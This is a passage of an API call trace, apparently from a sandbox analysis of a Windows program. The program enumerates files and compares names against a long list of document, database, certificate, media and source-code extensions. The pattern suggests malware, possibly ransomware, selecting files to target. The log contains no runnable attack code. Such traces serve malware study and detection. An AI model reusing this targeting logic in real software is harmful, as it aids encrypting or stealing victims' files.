ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0039.118] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x3ef0060, Size=0x40000) returned 0x3fe52f0 [0039.134] FindNextFileW (in: hFindFile=0x604648, lpFindFileData=0x2eff310 | out: lpFindFileData=0x2eff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0044.194] lstrlenW (lpString=".asa") returned 4 [0044.194] lstrcmpiW (lpString1=".asa", lpString2=".VSS") returned -1 [0044.194] lstrlenW (lpString=".asc") returned 4 [0044.194] lstrcmpiW (lpString1=".asc", lpString2=".VSS") returned -1 [0044.194] lstrlenW (lpString=".ascx") returned 5 [0044.194] lstrcmpiW (lpString1=".ascx", lpString2="U.VSS") returned -1 [0044.194] lstrlenW (lpString=".asm") returned 4 [0044.194] lstrcmpiW (lpString1=".asm", lpString2=".VSS") returned -1 [0044.194] lstrlenW (lpString=".asmx") returned 5 [0044.194] lstrcmpiW (lpString1=".asmx", lpString2="U.VSS") returned -1 [0044.195] lstrlenW (lpString=".asp") returned 4 [0044.195] lstrcmpiW (lpString1=".asp", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".aspx") returned 5 [0044.195] lstrcmpiW (lpString1=".aspx", lpString2="U.VSS") returned -1 [0044.195] lstrlenW (lpString=".asr") returned 4 [0044.195] lstrcmpiW (lpString1=".asr", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".asx") returned 4 [0044.195] lstrcmpiW (lpString1=".asx", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".avi") returned 4 [0044.195] lstrcmpiW (lpString1=".avi", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".avs") returned 4 [0044.195] lstrcmpiW (lpString1=".avs", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".backup") returned 7 [0044.195] lstrcmpiW (lpString1=".backup", lpString2="D_U.VSS") returned -1 [0044.195] lstrlenW (lpString=".bak") returned 4 [0044.195] lstrcmpiW (lpString1=".bak", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".bay") returned 4 [0044.195] lstrcmpiW (lpString1=".bay", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".bd") returned 3 [0044.195] lstrcmpiW (lpString1=".bd", lpString2="VSS") returned -1 [0044.195] lstrlenW (lpString=".bin") returned 4 [0044.195] lstrcmpiW (lpString1=".bin", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".bmp") returned 4 [0044.195] lstrcmpiW (lpString1=".bmp", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".bz2") returned 4 [0044.195] lstrcmpiW (lpString1=".bz2", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".c") returned 2 [0044.195] lstrcmpiW (lpString1=".c", lpString2="SS") returned -1 [0044.195] lstrlenW (lpString=".cdr") returned 4 [0044.195] lstrcmpiW (lpString1=".cdr", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".cer") returned 4 [0044.195] lstrcmpiW (lpString1=".cer", lpString2=".VSS") returned -1 [0044.195] lstrlenW (lpString=".cf") returned 3 [0044.195] lstrcmpiW (lpString1=".cf", lpString2="VSS") returned -1 [0044.195] lstrlenW (lpString=".cfc") returned 4 [0044.196] lstrcmpiW (lpString1=".cfc", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".cfm") returned 4 [0044.196] lstrcmpiW (lpString1=".cfm", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".cfml") returned 5 [0044.196] lstrcmpiW (lpString1=".cfml", lpString2="U.VSS") returned -1 [0044.196] lstrlenW (lpString=".cfu") returned 4 [0044.196] lstrcmpiW (lpString1=".cfu", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".chm") returned 4 [0044.196] lstrcmpiW (lpString1=".chm", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".cin") returned 4 [0044.196] lstrcmpiW (lpString1=".cin", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".class") returned 6 [0044.196] lstrcmpiW (lpString1=".class", lpString2="_U.VSS") returned -1 [0044.196] lstrlenW (lpString=".clx") returned 4 [0044.196] lstrcmpiW (lpString1=".clx", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".config") returned 7 [0044.196] lstrcmpiW (lpString1=".config", lpString2="D_U.VSS") returned -1 [0044.196] lstrlenW (lpString=".cpp") returned 4 [0044.196] lstrcmpiW (lpString1=".cpp", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".cr2") returned 4 [0044.196] lstrcmpiW (lpString1=".cr2", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".crt") returned 4 [0044.196] lstrcmpiW (lpString1=".crt", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".crw") returned 4 [0044.196] lstrcmpiW (lpString1=".crw", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".cs") returned 3 [0044.196] lstrcmpiW (lpString1=".cs", lpString2="VSS") returned -1 [0044.196] lstrlenW (lpString=".css") returned 4 [0044.196] lstrcmpiW (lpString1=".css", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".csv") returned 4 [0044.196] lstrcmpiW (lpString1=".csv", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".cub") returned 4 [0044.196] lstrcmpiW (lpString1=".cub", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".dae") returned 4 [0044.196] lstrcmpiW (lpString1=".dae", lpString2=".VSS") returned -1 [0044.196] lstrlenW (lpString=".dat") returned 4 [0044.196] lstrcmpiW (lpString1=".dat", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".db") returned 3 [0044.197] lstrcmpiW (lpString1=".db", lpString2="VSS") returned -1 [0044.197] lstrlenW (lpString=".dbf") returned 4 [0044.197] lstrcmpiW (lpString1=".dbf", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".dbx") returned 4 [0044.197] lstrcmpiW (lpString1=".dbx", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".dc3") returned 4 [0044.197] lstrcmpiW (lpString1=".dc3", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".dcm") returned 4 [0044.197] lstrcmpiW (lpString1=".dcm", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".dcr") returned 4 [0044.197] lstrcmpiW (lpString1=".dcr", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".der") returned 4 [0044.197] lstrcmpiW (lpString1=".der", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".dib") returned 4 [0044.197] lstrcmpiW (lpString1=".dib", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".dic") returned 4 [0044.197] lstrcmpiW (lpString1=".dic", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".dif") returned 4 [0044.197] lstrcmpiW (lpString1=".dif", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".divx") returned 5 [0044.197] lstrcmpiW (lpString1=".divx", lpString2="U.VSS") returned -1 [0044.197] lstrlenW (lpString=".djvu") returned 5 [0044.197] lstrcmpiW (lpString1=".djvu", lpString2="U.VSS") returned -1 [0044.197] lstrlenW (lpString=".dng") returned 4 [0044.197] lstrcmpiW (lpString1=".dng", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".doc") returned 4 [0044.197] lstrcmpiW (lpString1=".doc", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".docm") returned 5 [0044.197] lstrcmpiW (lpString1=".docm", lpString2="U.VSS") returned -1 [0044.197] lstrlenW (lpString=".docx") returned 5 [0044.197] lstrcmpiW (lpString1=".docx", lpString2="U.VSS") returned -1 [0044.197] lstrlenW (lpString=".dot") returned 4 [0044.197] lstrcmpiW (lpString1=".dot", lpString2=".VSS") returned -1 [0044.197] lstrlenW (lpString=".dotm") returned 5 [0044.197] lstrcmpiW (lpString1=".dotm", lpString2="U.VSS") returned -1 [0044.198] lstrlenW (lpString=".dotx") returned 5 [0044.198] lstrcmpiW (lpString1=".dotx", lpString2="U.VSS") returned -1 [0044.198] lstrlenW (lpString=".dpx") returned 4 [0044.198] lstrcmpiW (lpString1=".dpx", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".dqy") returned 4 [0044.198] lstrcmpiW (lpString1=".dqy", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".dsn") returned 4 [0044.198] lstrcmpiW (lpString1=".dsn", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".dt") returned 3 [0044.198] lstrcmpiW (lpString1=".dt", lpString2="VSS") returned -1 [0044.198] lstrlenW (lpString=".dtd") returned 4 [0044.198] lstrcmpiW (lpString1=".dtd", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".dwg") returned 4 [0044.198] lstrcmpiW (lpString1=".dwg", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".dwt") returned 4 [0044.198] lstrcmpiW (lpString1=".dwt", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".dx") returned 3 [0044.198] lstrcmpiW (lpString1=".dx", lpString2="VSS") returned -1 [0044.198] lstrlenW (lpString=".dxf") returned 4 [0044.198] lstrcmpiW (lpString1=".dxf", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".edml") returned 5 [0044.198] lstrcmpiW (lpString1=".edml", lpString2="U.VSS") returned -1 [0044.198] lstrlenW (lpString=".efd") returned 4 [0044.198] lstrcmpiW (lpString1=".efd", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".elf") returned 4 [0044.198] lstrcmpiW (lpString1=".elf", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".emf") returned 4 [0044.198] lstrcmpiW (lpString1=".emf", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".emz") returned 4 [0044.198] lstrcmpiW (lpString1=".emz", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".epf") returned 4 [0044.198] lstrcmpiW (lpString1=".epf", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".eps") returned 4 [0044.198] lstrcmpiW (lpString1=".eps", lpString2=".VSS") returned -1 [0044.198] lstrlenW (lpString=".epsf") returned 5 [0044.198] lstrcmpiW (lpString1=".epsf", lpString2="U.VSS") returned -1 [0044.199] lstrlenW (lpString=".epsp") returned 5 [0044.199] lstrcmpiW (lpString1=".epsp", lpString2="U.VSS") returned -1 [0044.199] lstrlenW (lpString=".erf") returned 4 [0044.199] lstrcmpiW (lpString1=".erf", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".exr") returned 4 [0044.199] lstrcmpiW (lpString1=".exr", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".f4v") returned 4 [0044.199] lstrcmpiW (lpString1=".f4v", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".fido") returned 5 [0044.199] lstrcmpiW (lpString1=".fido", lpString2="U.VSS") returned -1 [0044.199] lstrlenW (lpString=".flm") returned 4 [0044.199] lstrcmpiW (lpString1=".flm", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".flv") returned 4 [0044.199] lstrcmpiW (lpString1=".flv", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".frm") returned 4 [0044.199] lstrcmpiW (lpString1=".frm", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".fxg") returned 4 [0044.199] lstrcmpiW (lpString1=".fxg", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".geo") returned 4 [0044.199] lstrcmpiW (lpString1=".geo", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".gif") returned 4 [0044.199] lstrcmpiW (lpString1=".gif", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".grs") returned 4 [0044.199] lstrcmpiW (lpString1=".grs", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".gz") returned 3 [0044.199] lstrcmpiW (lpString1=".gz", lpString2="VSS") returned -1 [0044.199] lstrlenW (lpString=".h") returned 2 [0044.199] lstrcmpiW (lpString1=".h", lpString2="SS") returned -1 [0044.199] lstrlenW (lpString=".hdr") returned 4 [0044.199] lstrcmpiW (lpString1=".hdr", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".hpp") returned 4 [0044.199] lstrcmpiW (lpString1=".hpp", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".hta") returned 4 [0044.199] lstrcmpiW (lpString1=".hta", lpString2=".VSS") returned -1 [0044.199] lstrlenW (lpString=".htc") returned 4 [0044.199] lstrcmpiW (lpString1=".htc", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".htm") returned 4 [0044.200] lstrcmpiW (lpString1=".htm", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".html") returned 5 [0044.200] lstrcmpiW (lpString1=".html", lpString2="U.VSS") returned -1 [0044.200] lstrlenW (lpString=".icb") returned 4 [0044.200] lstrcmpiW (lpString1=".icb", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".ics") returned 4 [0044.200] lstrcmpiW (lpString1=".ics", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".iff") returned 4 [0044.200] lstrcmpiW (lpString1=".iff", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".inc") returned 4 [0044.200] lstrcmpiW (lpString1=".inc", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".indd") returned 5 [0044.200] lstrcmpiW (lpString1=".indd", lpString2="U.VSS") returned -1 [0044.200] lstrlenW (lpString=".ini") returned 4 [0044.200] lstrcmpiW (lpString1=".ini", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".iqy") returned 4 [0044.200] lstrcmpiW (lpString1=".iqy", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".j2c") returned 4 [0044.200] lstrcmpiW (lpString1=".j2c", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".j2k") returned 4 [0044.200] lstrcmpiW (lpString1=".j2k", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".java") returned 5 [0044.200] lstrcmpiW (lpString1=".java", lpString2="U.VSS") returned -1 [0044.200] lstrlenW (lpString=".jp2") returned 4 [0044.200] lstrcmpiW (lpString1=".jp2", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".jpc") returned 4 [0044.200] lstrcmpiW (lpString1=".jpc", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".jpe") returned 4 [0044.200] lstrcmpiW (lpString1=".jpe", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".jpeg") returned 5 [0044.200] lstrcmpiW (lpString1=".jpeg", lpString2="U.VSS") returned -1 [0044.200] lstrlenW (lpString=".jpf") returned 4 [0044.200] lstrcmpiW (lpString1=".jpf", lpString2=".VSS") returned -1 [0044.200] lstrlenW (lpString=".jpg") returned 4 [0044.200] lstrcmpiW (lpString1=".jpg", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".jpx") returned 4 [0044.201] lstrcmpiW (lpString1=".jpx", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".js") returned 3 [0044.201] lstrcmpiW (lpString1=".js", lpString2="VSS") returned -1 [0044.201] lstrlenW (lpString=".jsf") returned 4 [0044.201] lstrcmpiW (lpString1=".jsf", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".json") returned 5 [0044.201] lstrcmpiW (lpString1=".json", lpString2="U.VSS") returned -1 [0044.201] lstrlenW (lpString=".jsp") returned 4 [0044.201] lstrcmpiW (lpString1=".jsp", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".kdc") returned 4 [0044.201] lstrcmpiW (lpString1=".kdc", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".kmz") returned 4 [0044.201] lstrcmpiW (lpString1=".kmz", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".kwm") returned 4 [0044.201] lstrcmpiW (lpString1=".kwm", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".lasso") returned 6 [0044.201] lstrcmpiW (lpString1=".lasso", lpString2="_U.VSS") returned -1 [0044.201] lstrlenW (lpString=".lbi") returned 4 [0044.201] lstrcmpiW (lpString1=".lbi", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".lgf") returned 4 [0044.201] lstrcmpiW (lpString1=".lgf", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".lgp") returned 4 [0044.201] lstrcmpiW (lpString1=".lgp", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".log") returned 4 [0044.201] lstrcmpiW (lpString1=".log", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".m1v") returned 4 [0044.201] lstrcmpiW (lpString1=".m1v", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".m4a") returned 4 [0044.201] lstrcmpiW (lpString1=".m4a", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".m4v") returned 4 [0044.201] lstrcmpiW (lpString1=".m4v", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".max") returned 4 [0044.201] lstrcmpiW (lpString1=".max", lpString2=".VSS") returned -1 [0044.201] lstrlenW (lpString=".md") returned 3 [0044.201] lstrcmpiW (lpString1=".md", lpString2="VSS") returned -1 [0044.202] lstrlenW (lpString=".mda") returned 4 [0044.202] lstrcmpiW (lpString1=".mda", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mdb") returned 4 [0044.202] lstrcmpiW (lpString1=".mdb", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mde") returned 4 [0044.202] lstrcmpiW (lpString1=".mde", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mdf") returned 4 [0044.202] lstrcmpiW (lpString1=".mdf", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mdw") returned 4 [0044.202] lstrcmpiW (lpString1=".mdw", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mef") returned 4 [0044.202] lstrcmpiW (lpString1=".mef", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mft") returned 4 [0044.202] lstrcmpiW (lpString1=".mft", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mfw") returned 4 [0044.202] lstrcmpiW (lpString1=".mfw", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mht") returned 4 [0044.202] lstrcmpiW (lpString1=".mht", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mhtml") returned 6 [0044.202] lstrcmpiW (lpString1=".mhtml", lpString2="_U.VSS") returned -1 [0044.202] lstrlenW (lpString=".mka") returned 4 [0044.202] lstrcmpiW (lpString1=".mka", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mkidx") returned 6 [0044.202] lstrcmpiW (lpString1=".mkidx", lpString2="_U.VSS") returned -1 [0044.202] lstrlenW (lpString=".mkv") returned 4 [0044.202] lstrcmpiW (lpString1=".mkv", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mos") returned 4 [0044.202] lstrcmpiW (lpString1=".mos", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mov") returned 4 [0044.202] lstrcmpiW (lpString1=".mov", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mp3") returned 4 [0044.202] lstrcmpiW (lpString1=".mp3", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mp4") returned 4 [0044.202] lstrcmpiW (lpString1=".mp4", lpString2=".VSS") returned -1 [0044.202] lstrlenW (lpString=".mpeg") returned 5 [0044.202] lstrcmpiW (lpString1=".mpeg", lpString2="U.VSS") returned -1 [0044.203] lstrlenW (lpString=".mpg") returned 4 [0044.203] lstrcmpiW (lpString1=".mpg", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".mpv") returned 4 [0044.203] lstrcmpiW (lpString1=".mpv", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".mrw") returned 4 [0044.203] lstrcmpiW (lpString1=".mrw", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".msg") returned 4 [0044.203] lstrcmpiW (lpString1=".msg", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".mxl") returned 4 [0044.203] lstrcmpiW (lpString1=".mxl", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".myd") returned 4 [0044.203] lstrcmpiW (lpString1=".myd", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".myi") returned 4 [0044.203] lstrcmpiW (lpString1=".myi", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".nef") returned 4 [0044.203] lstrcmpiW (lpString1=".nef", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".nrw") returned 4 [0044.203] lstrcmpiW (lpString1=".nrw", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".obj") returned 4 [0044.203] lstrcmpiW (lpString1=".obj", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".odb") returned 4 [0044.203] lstrcmpiW (lpString1=".odb", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".odc") returned 4 [0044.203] lstrcmpiW (lpString1=".odc", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".odm") returned 4 [0044.203] lstrcmpiW (lpString1=".odm", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".odp") returned 4 [0044.203] lstrcmpiW (lpString1=".odp", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".ods") returned 4 [0044.203] lstrcmpiW (lpString1=".ods", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".oft") returned 4 [0044.203] lstrcmpiW (lpString1=".oft", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".one") returned 4 [0044.203] lstrcmpiW (lpString1=".one", lpString2=".VSS") returned -1 [0044.203] lstrlenW (lpString=".onepkg") returned 7 [0044.204] lstrcmpiW (lpString1=".onepkg", lpString2="D_U.VSS") returned -1 [0044.204] lstrlenW (lpString=".onetoc2") returned 8 [0044.204] lstrcmpiW (lpString1=".onetoc2", lpString2="ND_U.VSS") returned -1 [0044.204] lstrlenW (lpString=".opt") returned 4 [0044.204] lstrcmpiW (lpString1=".opt", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".oqy") returned 4 [0044.204] lstrcmpiW (lpString1=".oqy", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".orf") returned 4 [0044.204] lstrcmpiW (lpString1=".orf", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".p12") returned 4 [0044.204] lstrcmpiW (lpString1=".p12", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".p7b") returned 4 [0044.204] lstrcmpiW (lpString1=".p7b", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".p7c") returned 4 [0044.204] lstrcmpiW (lpString1=".p7c", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pam") returned 4 [0044.204] lstrcmpiW (lpString1=".pam", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pbm") returned 4 [0044.204] lstrcmpiW (lpString1=".pbm", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pct") returned 4 [0044.204] lstrcmpiW (lpString1=".pct", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pcx") returned 4 [0044.204] lstrcmpiW (lpString1=".pcx", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pdd") returned 4 [0044.204] lstrcmpiW (lpString1=".pdd", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pdf") returned 4 [0044.204] lstrcmpiW (lpString1=".pdf", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pdp") returned 4 [0044.204] lstrcmpiW (lpString1=".pdp", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pef") returned 4 [0044.204] lstrcmpiW (lpString1=".pef", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pem") returned 4 [0044.204] lstrcmpiW (lpString1=".pem", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pff") returned 4 [0044.204] lstrcmpiW (lpString1=".pff", lpString2=".VSS") returned -1 [0044.204] lstrlenW (lpString=".pfm") returned 4 [0044.204] lstrcmpiW (lpString1=".pfm", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".pfx") returned 4 [0044.205] lstrcmpiW (lpString1=".pfx", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".pgm") returned 4 [0044.205] lstrcmpiW (lpString1=".pgm", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".php") returned 4 [0044.205] lstrcmpiW (lpString1=".php", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".php3") returned 5 [0044.205] lstrcmpiW (lpString1=".php3", lpString2="U.VSS") returned -1 [0044.205] lstrlenW (lpString=".php4") returned 5 [0044.205] lstrcmpiW (lpString1=".php4", lpString2="U.VSS") returned -1 [0044.205] lstrlenW (lpString=".php5") returned 5 [0044.205] lstrcmpiW (lpString1=".php5", lpString2="U.VSS") returned -1 [0044.205] lstrlenW (lpString=".phtml") returned 6 [0044.205] lstrcmpiW (lpString1=".phtml", lpString2="_U.VSS") returned -1 [0044.205] lstrlenW (lpString=".pict") returned 5 [0044.205] lstrcmpiW (lpString1=".pict", lpString2="U.VSS") returned -1 [0044.205] lstrlenW (lpString=".pl") returned 3 [0044.205] lstrcmpiW (lpString1=".pl", lpString2="VSS") returned -1 [0044.205] lstrlenW (lpString=".pls") returned 4 [0044.205] lstrcmpiW (lpString1=".pls", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".pm") returned 3 [0044.205] lstrcmpiW (lpString1=".pm", lpString2="VSS") returned -1 [0044.205] lstrlenW (lpString=".png") returned 4 [0044.205] lstrcmpiW (lpString1=".png", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".pnm") returned 4 [0044.205] lstrcmpiW (lpString1=".pnm", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".pot") returned 4 [0044.205] lstrcmpiW (lpString1=".pot", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".potm") returned 5 [0044.205] lstrcmpiW (lpString1=".potm", lpString2="U.VSS") returned -1 [0044.205] lstrlenW (lpString=".potx") returned 5 [0044.205] lstrcmpiW (lpString1=".potx", lpString2="U.VSS") returned -1 [0044.205] lstrlenW (lpString=".ppa") returned 4 [0044.205] lstrcmpiW (lpString1=".ppa", lpString2=".VSS") returned -1 [0044.205] lstrlenW (lpString=".ppam") returned 5 [0044.205] lstrcmpiW (lpString1=".ppam", lpString2="U.VSS") returned -1 [0044.206] lstrlenW (lpString=".ppm") returned 4 [0044.206] lstrcmpiW (lpString1=".ppm", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".pps") returned 4 [0044.206] lstrcmpiW (lpString1=".pps", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".ppsm") returned 5 [0044.206] lstrcmpiW (lpString1=".ppsm", lpString2="U.VSS") returned -1 [0044.206] lstrlenW (lpString=".ppt") returned 4 [0044.206] lstrcmpiW (lpString1=".ppt", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".pptm") returned 5 [0044.206] lstrcmpiW (lpString1=".pptm", lpString2="U.VSS") returned -1 [0044.206] lstrlenW (lpString=".pptx") returned 5 [0044.206] lstrcmpiW (lpString1=".pptx", lpString2="U.VSS") returned -1 [0044.206] lstrlenW (lpString=".prn") returned 4 [0044.206] lstrcmpiW (lpString1=".prn", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".ps") returned 3 [0044.206] lstrcmpiW (lpString1=".ps", lpString2="VSS") returned -1 [0044.206] lstrlenW (lpString=".psb") returned 4 [0044.206] lstrcmpiW (lpString1=".psb", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".psd") returned 4 [0044.206] lstrcmpiW (lpString1=".psd", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".pst") returned 4 [0044.206] lstrcmpiW (lpString1=".pst", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".ptx") returned 4 [0044.206] lstrcmpiW (lpString1=".ptx", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".pub") returned 4 [0044.206] lstrcmpiW (lpString1=".pub", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".pwm") returned 4 [0044.206] lstrcmpiW (lpString1=".pwm", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".pxr") returned 4 [0044.206] lstrcmpiW (lpString1=".pxr", lpString2=".VSS") returned -1 [0044.206] lstrlenW (lpString=".py") returned 3 [0044.206] lstrcmpiW (lpString1=".py", lpString2="VSS") returned -1 [0044.206] lstrlenW (lpString=".qt") returned 3 [0044.206] 